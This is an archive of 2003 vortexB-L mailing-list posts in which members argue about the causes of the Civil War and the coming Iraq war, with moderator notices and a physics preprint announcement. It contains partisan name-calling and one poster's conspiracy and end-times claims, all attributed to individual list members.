Resent-Message-ID: <"PkO3F3.0.ll6.KSy1z"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1547 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 44 Dean T. Miller wrote: >I find it hard to believe that you live in Atlanta and think the Civil >War had anything to do with slavery. Well, Longstreet and Davis said it was about slavery. All the black people of Georgia I know of, then and now, agree that slavery was the cause. Who would know better? They are the experts in their own history, after all. They understood the slaveholders better then slaveholders knew themselves, since the institution mattered to them infinitely more. And the Georgia black population was took an active, heroic role in the war. As Lincoln said, the war would have been lost without them. Perhaps some white soldiers were fighting over economics or where cotton mills would be constructed, but black Georgians were fighting for "freedom, race and nation" as they said. They were strongly motivated. They beat the crap out of the Confederates. See: http://www.coax.net/people/lwf/data.htm >The war was primarily about economics, where the northern mills didn't >want the southern states to have their own cotton mills. The southern >states were to grow cotton and ship it north. I do not think you could persuade 400,000 Northerners to die for that cause, or 200,000 black troops to enlist. After the war countless cotton mills were built in the south with Wall Street money, and as far as I know no one in the North objected, or threatened a new war. Anyway, this is off topic. Please respond to Vortex-BL. - Jed From vortexb-l-request@eskimo.com Mon Feb 10 14:29:52 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id OAA05744; Mon, 10 Feb 2003 14:26:01 -0800 Resent-Date: Mon, 10 Feb 2003 14:26:01 -0800 From: Robin van Spaandonk To: vortexb-l@eskimo.com Subject: Re: the war against Saddam Date: Tue, 11 Feb 2003 09:25:25 +1100 Organization: Improving Message-ID: <8m9g4vknargh0mmbora2ae2fcsvt684v2t@4ax.com> References: <20030210192137.33309.qmail@web40408.mail.yahoo.com> In-Reply-To: <20030210192137.33309.qmail@web40408.mail.yahoo.com> X-Mailer: Forte Agent 1.92/32.572 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id OAA05675 Resent-Message-ID: <"Uu6ms.0.bP1.vR2I-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1548 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 45 In reply to Charles Ford's message of Mon, 10 Feb 2003 11:21:37 -0800: Hi, [snip] >> I picked the following three more or less at random, but could find no >> declaration of war in them. Perhaps you can do better. >> >> http://www.uruklink.net/iraq/e2003/e17j-03.htm >> http://www.uruklink.net/iraq/e1998/e_vict1.htm >> http://www.uruklink.net/iraq/e2000/e6jan2000.htm >> >> > >> >> >DO not give Saddam credit for inocence here. >> >> > >Go to any search engine and type in the following > >"Saddam Declares War" > >Don't lock yourself into one news source and NEVER stake your integrity >on the word of a reporter. I did as you suggested, and got only the following two entries from google: http://www.fas.harvard.edu/~irdp/ref/ref02.html http://www.twinight.org/avid/2000/avidchat1012am.html The first appears to have been a defensive reaction, the second not even a report. Perhaps you can supply a more useful reference? [snip] (For Saddam Declares War - separate words, not a quoted string, there were lots of references, mostly about the US declaring war on Iraq). Regards, R. van Spaandonk When you are counting the dead, remember who voted for the man that made it all possible. From vortexb-l-request@eskimo.com Mon Feb 10 14:30:10 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id OAA05932; Mon, 10 Feb 2003 14:26:26 -0800 Resent-Date: Mon, 10 Feb 2003 14:26:26 -0800 From: Robin van Spaandonk To: vortexb-l@eskimo.com Subject: Re: the war against Saddam Date: Tue, 11 Feb 2003 09:25:48 +1100 Organization: Improving Message-ID: <2n9g4vsbu8hlp68i9f2smo6ooe9j38mt35@4ax.com> References: <92491085.1044873569@localhost> In-Reply-To: <92491085.1044873569@localhost> X-Mailer: Forte Agent 1.92/32.572 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id OAA05845 Resent-Message-ID: <"KpG0R1.0.ZS1.IS2I-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1549 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 46 In reply to R. Wormus's message of Mon, 10 Feb 2003 10:39:29 -0800: Hi, [snip] >I found the following analysis insightful: > >http://www.counterpunch.org/ > >The US Gameplan for Iraq >by BILL CHRISTISON >(former CIA political analyst) > >Ron W. So do I. Regards, R. van Spaandonk When you are counting the dead, remember who voted for the man that made it all possible. From vortexb-l-request@eskimo.com Mon Feb 10 17:14:29 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id RAA27347; Mon, 10 Feb 2003 17:11:53 -0800 Resent-Date: Mon, 10 Feb 2003 17:11:53 -0800 From: Robin van Spaandonk To: vortexb-l@eskimo.com Subject: Re: the war against Saddam Date: Tue, 11 Feb 2003 12:10:30 +1100 Organization: Improving Message-ID: <0cjg4v0jauk2rfn5vha1ocda0jsv14muaf@4ax.com> References: <20030210192137.33309.qmail@web40408.mail.yahoo.com> In-Reply-To: <20030210192137.33309.qmail@web40408.mail.yahoo.com> X-Mailer: Forte Agent 1.92/32.572 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id RAA27303 Resent-Message-ID: <"FUbg23.0.Eh6.Ot4I-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1550 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 47 In reply to Charles Ford's message of Mon, 10 Feb 2003 11:21:37 -0800: Hi, [snip] >> I picked the following three more or less at random, but could find no >> declaration of war in them. Perhaps you can do better. >> >> http://www.uruklink.net/iraq/e2003/e17j-03.htm >> http://www.uruklink.net/iraq/e1998/e_vict1.htm >> http://www.uruklink.net/iraq/e2000/e6jan2000.htm >> >> > >> >> >DO not give Saddam credit for inocence here. >> >> > >Go to any search engine and type in the following > >"Saddam Declares War" > >Don't lock yourself into one news source and NEVER stake your integrity >on the word of a reporter. I did as you suggested, and got only the following two entries from google: http://www.fas.harvard.edu/~irdp/ref/ref02.html http://www.twinight.org/avid/2000/avidchat1012am.html The first appears to have been a defensive reaction, the second not even a report. Perhaps you can supply a more useful reference? [snip] (For Saddam Declares War - separate words, not a quoted string, there were lots of references, mostly about the US declaring war on Iraq). Regards, R. van Spaandonk When you are counting the dead, remember who voted for the man that made it all possible. From vortexb-l-request@eskimo.com Mon Feb 10 17:43:19 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id RAA09774; Mon, 10 Feb 2003 17:40:45 -0800 Resent-Date: Mon, 10 Feb 2003 17:40:45 -0800 From: Robin van Spaandonk To: vortexb-l@eskimo.com Subject: Re: the war against Saddam Date: Tue, 11 Feb 2003 12:39:54 +1100 Organization: Improving Message-ID: References: <71o34vkd63g4cg1stii4r65m1c3cglbj9h@4ax.com> In-Reply-To: X-Mailer: Forte Agent 1.92/32.572 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id RAA09742 Resent-Message-ID: <"I6PZl.0.fO2.SI5I-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1551 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 48 In reply to thomas malloy's message of Mon, 10 Feb 2003 03:04:37 -0600: Hi, [snip] >Robbin van Spaarondonk replied; > >> >Saddam's goal is to be the next Nebucanezar. He would like to unify >>>the Arabs and smash Israel. >> >>Fat chance of either. In fact if anyone succeeds in unifying the Arabs, >>it will George W. > >The Wahabbi's (fundamentaist Islamists) are already united. They hate >us, and that includes you. Their agenda is to conquer the world for >Islam. They will offer you the choice of convert or die; there is a >third option however, we are going to incinerate them. I suggest you take a look at an atlas Thomas. The Wahabis are from Saudi Arabia, not Iraq. [snip] >>Administration line again, and also the same line used by nearly >>every invading force throughout history. It's also pure BS. You >>don't need a hundred thousand men to remove a tyrant, a small >>remotely controlled model plane with an explosive and a TV camera >>will do the job, at a cost of a few thousand bucks, and the >>administration knows this. However you do need an army to "liberate" >>a country's resources. > >I'm sure that the coalition forces will do the job as expeditiously >as possible. Your line about the resources is pure left wing BS, >those resources are for sale now, and they will be for sale in the >future. The difference is that the liberated Iraq will spend the >money on it's people not guilded palaces and weapons that they don't >need. On the contrary, the difference is that it won't be the Iraqi's selling the oil, but rather Western interests. The Iraqi's will get a pittance. > >> >>>What part of the evidence presented by Secretary >>>Powell don't you understand? A Modified is a motorhome fitted out to >>>be a biological laboratory. El Queda operatives are living in Iraq. >> >>And also in the Philippines, Malaysia, Indonesia, Germany, Britain, Italy, >>several African countries, and the US, does that mean you are going >>to go to war with yourself as well? > >They will all have to be eliminated. I agree that the terrorists need to be stopped, however if you were to use the same tactic on all the nations where terrorists reside, that you plan on using on Iraq, then you would be at war with yourself as well, because they also reside in the US. > >>And as far as weapons of mass destruction are concerned, the US >>couldn't be more hypocritical. It holds the largest stores of such >>weapons of any nation on Earth. >>Face it, this war has nothing to do with weapons of mass >>destruction. That's just the excuse. A red herring designed for >>local public consumption in the US designed to play upon your fears >>after 911. > >We, Joseph (America, and the British Commonwealth nations) have a >divine right to have them. BS. >While we are not perfect, we have an >internal group of illuminated ones, one example of which is Skull and >Bones, see www.secretsofthetemple.com . They control the CIA and >other government agencies. They have done all kinds of bad things in >our name. ...and they're about to do it again. >However, our actions have been, by in large positive. Up until now yes, but they have never before held so many positions of power in government. [snip] >If you don't develop a relationship with Jesus, and you are presented >with the option of bow down to their god, and take the Mark, which >will involve the number 666. or death, you will be better off taking >the latter option. > >> >I won't argue that, however what part of a war to the death between >>>the children of Israel (western civilization) and the children of >>>Esau (Islam), don't you understand? >> >>What part don't you understand of the fact that throughout history >>religion has been used as an excuse for wars that were really all >>about acquisition of resources? > >The history of the past 4000 years has plenty of blame to go around. >However, this war is not about resources. It is primarily about resources and control. The control in turn is eventually also about resources. >Nor will the 5766 war, >which will be the beginning of the war of the end times. That may be, time will tell. > >>That's because if you tell the average man on the street that you >>want him to lay down his life so that you can get richer, he will >>laugh in your face, but if you tell him that his immortal soul is in >>danger from the >>"heathen enemy", he will lay down his life willingly. >>People have been played for fools for thousands of years. It appears >>you are no exception. > >That depends on whether or not the Bible is what it says it is. Given >that about 80% of the prophecies in the plain text have proven to be >correct. Some people still don't accept it. There are some people >think that just because Bible Code exists, and the rest of the events >prophecized have come to pass, that is just an interesting freak of >nature, and not proof that a super human being who exists out side of >time wrote it. We shall see. > >My friend Phil, who is circulating a petition for W's recall >forwarded this to me. I fail to see how a man with an advanced degree >from Harvard can be considered stupid. Check out http://www.thedubyareport.com/quotes.html [snip] BTW in a recent TV comment from the leader of the Iraqi opposition, he said that they didn't want to be bombed to get rid of Saddam. He said they could do that themselves. Regards, R. van Spaandonk When you are counting the dead, remember who voted for the man that made it all possible. From vortexb-l-request@eskimo.com Thu Feb 20 13:04:36 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id MAA00947; Thu, 20 Feb 2003 12:59:45 -0800 Resent-Date: Thu, 20 Feb 2003 12:59:45 -0800 From: Robin van Spaandonk To: vortexb-l@eskimo.com Subject: Re: Sonofusion, "beta aether" and jounce Date: Fri, 21 Feb 2003 07:59:03 +1100 Organization: Improving Message-ID: <8aga5v4eu14qnrn3ond7krnqtnlfruo1an@4ax.com> References: <003701c2d8fa$12618600$0a016ea8@cpq> In-Reply-To: <003701c2d8fa$12618600$0a016ea8@cpq> X-Mailer: Forte Agent 1.92/32.572 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id MAA00850 Resent-Message-ID: <"N-tk13.0.eE.07KL-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1552 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 49 In reply to Jones Beene's message of Thu, 20 Feb 2003 08:06:47 -0800: Hi, [snip] >Bushism of the Day >"One year ago today, the time for excuse-making has come to an end." Does the US really want someone this confused as their president? Regards, R. van Spaandonk When you are counting the dead, remember who voted for the man that made it all possible. From vortexb-l-request@eskimo.com Mon Mar 10 21:45:40 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id VAA29063; Mon, 10 Mar 2003 21:42:52 -0800 Resent-Date: Mon, 10 Mar 2003 21:42:52 -0800 X-Authentication-Warning: eskimo.com: billb owned process doing -bs Date: Mon, 10 Mar 2003 21:42:51 -0800 (PST) From: William Beaty To: vortex-l@eskimo.com cc: vortexb-L@eskimo.com Subject: Re: Fwd: A question for the moderator In-Reply-To: <3f.187c22c0.2b87ea83@aol.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Message-ID: <"7lLTg.0.y57.STNR-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1553 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 50 On Fri, 21 Feb 2003 JCarey9622@aol.com wrote: > ERic Krieg asked me to join his skeptic site probably thinking the > sharks would eat me alive. Why would he think that? Some people are very poor at guessing what others are really thinking. I've known Mr. Kreig for years. He gives inventors every chance to prove their claims. He's honestly looking for energy devices which really work. > When it was I that eat them alive i was banned. If you behave badly on an online forum, the moderator will probably kick you off. "Badly" includes a constant stream of insults. > i made sush a fool out of him to the point that he has almost become a > supporter by helping me anyway he can. . Bill with these people > screaming about me to the extent they are, They're complaining about your behavior. People who spew insults on the internet are very common. The usual name for this behavior is "flaming." > because I'm must be upsetting their physics apple carts I thought you were keeping all the information secret. How can you upset anyone if proprietary considerations prevent you from presenting any evidence that you are right? > why haven't i been banned from this one. Because I hate throwing people off the forum, but I eventually take action. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billbeskimo.com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-789-0775 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Mon Mar 10 22:27:07 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id WAA21029; Mon, 10 Mar 2003 22:24:48 -0800 Resent-Date: Mon, 10 Mar 2003 22:24:48 -0800 X-Authentication-Warning: eskimo.com: billb owned process doing -bs Date: Mon, 10 Mar 2003 22:24:45 -0800 (PST) From: William Beaty To: vortex-l@eskimo.com cc: vortexb-L@eskimo.com Subject: Moderator: Carey device going to vortexB In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Message-ID: <"hz6sd3.0.L85.l4OR-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1554 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: A X-Keywords: X-UID: 51 The "Carey device" thread and namecalling has dominated the forum for long enough. I'm moving it to vortexB-L. Anyone who wishes to continue the conversation can subscribe (many vortex-L subscribers are already on vortexB). The archive is here: http://amasci.com/weird/vtxb2000.txt vortexB-L@eskimo.com is a separate e-list created in 1998 for any conversations or incivility drawing widespread complaints on vortex-L. Vortex-L is somewhat civilized, while VortexB-L is the no-rules version with no limits on subject matter or "flamewars." You can subscribe to vortexB-L, vortex-L, both or neither. The subscribe/unsubscribe commands are similar: send a blank mesage with either "subscribe" or "unsubscribe" in the SUBJECT line, send it to vortexB-L-request@eskimo.com (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billbeskimo.com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-789-0775 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Mon Mar 10 23:14:32 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id XAA07972; Mon, 10 Mar 2003 23:12:47 -0800 Resent-Date: Mon, 10 Mar 2003 23:12:47 -0800 X-Authentication-Warning: eskimo.com: billb owned process doing -bs Date: Mon, 10 Mar 2003 23:12:44 -0800 (PST) From: William Beaty To: vortexb-l@eskimo.com Subject: secrecy order In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Message-ID: <"o7DwU2.0.Vy1.lnOR-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1555 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 52 >From http://groups.yahoo.com/group/energy2000/ From: rsperbeck Sent: Saturday, March 08, 2003 10:45 PM Subject: NEW INVENTION SECRECY ORDERS REPORTED The United States Govt. invoked the invention Secrecy Act of 1951 to impose new secrecy order's on 139 patent application's during the fiscal year 2002. Thereby blocking their publication. A total of 4,792 secrecy order's remained in effect at the end of the year, according to statistics compiled by the Patent and Trademark Office. Secrecy orders can be imposed on patent application's at the discretion of the government agencies whenever, in what their judgment,disclosure of the invention could be " detrimental to national security". The invention Secrecy act is one of the two laws that permit the government to prevent publication of privately generated information.[the other law is the Atomic Energy act] the constitutionality of such authority.which appears to be at odds with the first Amendment, has never been tested in court. OF the 139 new secrecy order's issued last year,37 were imposed on private inventors or businesses who develop their inventions with out Government funding.Such orders,which are referred to as john doe orders are the most potentially problematic from the constitutional point of view. [ source; Secrecy News, no 1 January 6, 2003; statistics at http://www.fas.org/sgp/othergov/invention/stats.html From vortexb-l-request@eskimo.com Wed Mar 12 11:32:59 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id LAA21279; Wed, 12 Mar 2003 11:28:40 -0800 Resent-Date: Wed, 12 Mar 2003 11:28:40 -0800 Message-ID: <3E6F8A55.1B7534F6@verisoft.com.tr> Date: Wed, 12 Mar 2003 21:28:21 +0200 From: hamdi ucar Reply-To: hamdix@verisoft.com.tr X-Mailer: Mozilla 4.78 [en] (Win98; U) MIME-Version: 1.0 To: VortexB Subject: Fifth force from fifth dimension (gr-qc/0303044) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"sq5Ep1.0.JC5.dfuR-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1566 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 53 LANL archive http://xxx.lanl.gov/abs/gr-qc/0303044 Fifth force from fifth dimension: a comparison between two different approaches Authors: F. Dahia, E. M. Monte, C. Romero Comments: l7 pages - Typeset using REVTEX We investigate the dynamics of particles moving in a spacetime augmented by one extra dimension in the context of the induced matter theory of gravity. We examine the appearance of a fifth force as an effect caused by the extra dimension and discuss two different approaches to the fifth force formalism. We then give two examples of application of both approaches by considering the case of a Ricci-flat warped-product manifold and a generalized Randall-Sundrum space. From vortexb-l-request@eskimo.com Sat Mar 22 14:29:10 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA08340; Sat, 22 Mar 2003 14:24:54 -0800 Resent-Date: Sat, 22 Mar 2003 14:24:54 -0800 X-Authentication-Warning: eskimo.com: billb owned process doing -bs Date: Sat, 22 Mar 2003 14:24:52 -0800 (PST) From: William Beaty To: vortexb-l@eskimo.com Subject: NOTE: you are currently subscribed to vortexB-L In-Reply-To: <79.d0e3f7d.2bace87b@aol.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Resent-Message-ID: <"Y-GvP2.0.E22.sAEV-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1576 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 54 If you're reading this then you are currently subscribed to vortexB-L@eskimo.com, one of Bill Beaty's amasci.com lists. There are no rules here. Screaming political flamewars are perflectly OK. Go wild. To start a thread, just reply to this message and change the subject line to whatever. Recent messages can be read at http://amasci.com/weird/vtxb2000.txt To unsubscribe, send a blank message to vortexB-L-request@eskimo.com, with the word "unsubscribe" in the subject line of the message. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billbeskimo.com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-789-0775 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Wed Apr 2 11:15:25 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id LAA31093; Wed, 2 Apr 2003 11:08:16 -0800 Resent-Date: Wed, 2 Apr 2003 11:08:16 -0800 Message-Id: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Wed, 02 Apr 2003 10:18:14 -0500 To: vortexB-L@eskimo.com From: Jed Rothwell Subject: A war game web site Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"Z5sO9.0.kb7.WKpY-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1577 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 55 See: http://idleworm.wolffelaar.nl/nws/2002/11/swf/iraq2.swf From vortexb-l-request@eskimo.com Wed Apr 2 11:57:35 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id LAA01017; Wed, 2 Apr 2003 11:50:24 -0800 Resent-Date: Wed, 2 Apr 2003 11:50:24 -0800 Message-ID: <00d001c2f951$765bf380$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> Subject: Re: A war game web site Date: Wed, 2 Apr 2003 14:47:07 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"-Vtrn.0.kF._xpY-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1578 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 56 Jed/All, Well well well... FINALLY, someone posts to this list. Isn't this interesting - those that were posting off topic political messages to the other Vortex list were forced to post them here instead; and this is the FIRST post I've received. Evidentially the vast majority of 'anti-war' types out there aren't interested in 'informing' you unless they can also ram it down your throat. What a bunch of dictatorial fascist bastards! Thank God you people are well in the minority! I only have ONE thing to say on this list about the current conflict: BOOM - You're dead. Better luck next lifetime. Dave Narby! When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Jed Rothwell" To: Sent: Wednesday, April 02, 2003 10:18 AM Subject: A war game web site | See: | | http://idleworm.wolffelaar.nl/nws/2002/ 11/swf/iraq2.swf | | From vortexb-l-request@eskimo.com Wed Apr 2 12:08:38 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id MAA11203; Wed, 2 Apr 2003 12:05:10 -0800 Resent-Date: Wed, 2 Apr 2003 12:05:10 -0800 Message-Id: <5.2.0.9.2.20030402150235.00a9f398@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Wed, 02 Apr 2003 15:05:17 -0500 To: vortexb-l@eskimo.com, From: Jed Rothwell Subject: Re: A war game web site In-Reply-To: <00d001c2f951$765bf380$1202a8c0@WorkGroup> References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"2WQml1.0.-k2.s9qY-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1579 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 57 Dave N. wrote: >Well well well... FINALLY, someone posts to this list. Isn't this >interesting - those that were posting off topic political messages to the >other Vortex list were forced to post them here . . . Not forced at all. I just thought it would be a good idea. I was unsubscribed so I do not know what, if anything, has been happening here. - Jed From vortexb-l-request@eskimo.com Wed Apr 2 12:25:46 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id MAA22894; Wed, 2 Apr 2003 12:22:10 -0800 Resent-Date: Wed, 2 Apr 2003 12:22:10 -0800 Message-ID: <00ec01c2f955$ecf34ee0$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <5.2.0.9.2.20030402150235.00a9f398@pop.mindspring.com> Subject: Re: A war game web site Date: Wed, 2 Apr 2003 15:21:32 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"CiasI3.0.Yb5.nPqY-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1580 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 58 Jed, Well, absolutely nothing was happening until you posted. I think it was a couple of weeks! BTW you don't fall into the category of the vast majority of 'anti-war' protesters if in fact you are one ; ) . I'm surprised you got unsubscribed from this list. I thought it was a free for all..? Best, Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Jed Rothwell" To: ; Sent: Wednesday, April 02, 2003 3:05 PM Subject: Re: A war game web site | Dave N. wrote: | | >Well well well... FINALLY, someone posts to this list. Isn't this | >interesting - those that were posting off topic political messages to the | >other Vortex list were forced to post them here . . . | | Not forced at all. I just thought it would be a good idea. | | I was unsubscribed so I do not know what, if anything, has been happening here. | | - Jed | | From vortexb-l-request@eskimo.com Wed Apr 2 14:05:53 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA14687; Wed, 2 Apr 2003 14:01:37 -0800 Resent-Date: Wed, 2 Apr 2003 14:01:37 -0800 Message-Id: <5.2.0.9.2.20030402160118.00a9f398@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Wed, 02 Apr 2003 17:01:49 -0500 To: vortexb-l@eskimo.com, From: Jed Rothwell Subject: Re: A war game web site In-Reply-To: <00ec01c2f955$ecf34ee0$1202a8c0@WorkGroup> References: <5.2.0.9.2.20030402101812.026b8ce8@pop.mindspring.com> <5.2.0.9.2.20030402150235.00a9f398@pop.mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"DNGo61.0.Qb3.1trY-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1581 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 59 Dave N. wrote: >BTW you don't fall into the category of the vast majority of 'anti-war' >protesters . . . Approximately 60 to 80% of the human race opposes this war, so I do not think you can categorize this group in any meaningful way. The sample is too large to fit any demographic age group, social class, voter group, nationality or other category. >if in fact you are one ; ) . I oppose the war for the reasons I stated a few weeks ago: I personally would not be willing to risk my own life to free the Iraqi people from tyranny. Therefore, I could not, in good conscience, ask any other American to risk his or her life for this cause. The lives of our soldiers & other citizens are a precious to me as my own, or my children's. Our soldiers are not mercenaries or gladiators. In a democratic society at war, everyone should be willing -- at least in principle -- to share all risks and sacrifices. I grant there are valid, moral reasons to fight, and some degree of risk to the U.S. if we do not fight, but the reasons and risks are no so great that I myself would be willing to risk death or serious wounds. If I were Iraqi, I would certainly be willing to fight for this cause. >When the oppressed 